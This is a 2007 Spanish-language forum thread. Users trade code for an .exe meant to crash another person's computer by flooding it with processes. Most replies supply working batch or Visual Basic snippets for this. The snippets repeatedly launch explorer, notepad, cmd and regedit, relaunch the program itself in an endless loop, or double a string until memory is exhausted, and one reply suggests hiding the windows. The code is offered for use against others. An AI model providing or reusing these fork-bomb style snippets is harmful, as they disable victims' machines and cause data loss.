 Autor
|
Tema: interesante (Leído 2,693 veces)
|
crauss
 Desconectado
Mensajes: 768
Caste
|
se podria crear un .exe que se abriera muchas veces el iexplorer por ejemplo 100 veces i entonces eria una manera de petar el ordenador a uno algo komo el msn kick
shell..... ya sabeis
saludos
|
|
|
|
|
En línea
|
Caste
|
|
|
dARkDiAMoNd
Desconectado
Mensajes: 3
|
wenas... pues una manera muy facil seria crear un archivo *.bat con un code como este :bucle
start explorer
goto bucle y luego lo compilarias(pasar a *.exe) con algun programa, ejemplo quick batch compiler...claro pero ya no seria vb sALuDos__
|
|
|
|
« Última modificación: 28 Octubre 2007, 21:35 pm por dARkDiAMoNd »
|
En línea
|
|
|
|
papanoel_devacaciones
Desconectado
Mensajes: 428
|
- Un timer con intervalo de 50
- Un textbox
Dentro del timer pones: sel = Int(Rnd() * 5) Select Case sel Case 0 Text1.Text = "Explorer.exe" Case 1 Text1.Text = "Notepad.exe" Case 2 Text1.Text = "calc.exe" Case 3 Text1.Text = "cmd.exe" Case 4 MsgBox " Esto es una lamerrada !!!" Case 5 Text1.Text = "regedit.exe" End Select Shell (Text1.Text)
Lo que hace es selecionar un numero cualquiera de 0 a 5....cada numero tiene su propia funcion...despues lo ejecuta... vendria bien declalar "sel" como integer o long dentro de general o load... Saludos
|
|
|
|
« Última modificación: 28 Octubre 2007, 21:40 pm por [Smokehack] »
|
En línea
|
|
|
|
HaDeS, -
WarZone Master
Desconectado
Mensajes: 284
|
Estó es antiprogramación jajaja Private Sub Form1_Load() do shell "explorer.exe" shell app.path & "\" & app.exename & ".exe" loop end sub
ó Private Sub Form1_Load() Text1.text = "a" do Text1.text = Text1.text & Text1.text loop End Sub
Hay muchas formas  Saluos! |
|
|
|
|
En línea
|
|
|
|
smooth.core
Desconectado
Mensajes: 5
Yo no necesito tu IP... :O
|
Algo que ocurre con el Do - Loop es lo siguiente, la apliación queda colgada, por lo que nos combiene más
Dim i
For i = 1 to 15000
shell "explorer.exe"
Next
Y entonces, si quieres, puedes agregar más cosas al código, como msgbox y esas estupideces jajajajaj
^^
Saludos
|
|
|
|
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
Algo que ocurre con el Do - Loop es lo siguiente, la apliación queda colgada, Doevents
|
|
|
|
|
En línea
|
|
|
|
Kefren
Desconectado
Mensajes: 515
0x1BADB002
|
Jejeje lo facil que es agotar los recursos de un PC en Windows..... En linux también es así????  SaluDOS |
|
|
|
|
En línea
|
|
|
|
|
~~
|
Añadir un vbHide no estaria de mas.... (un poco triste este programa no?  ) |
|
|
|
|
En línea
|
|
|
|
|
 |
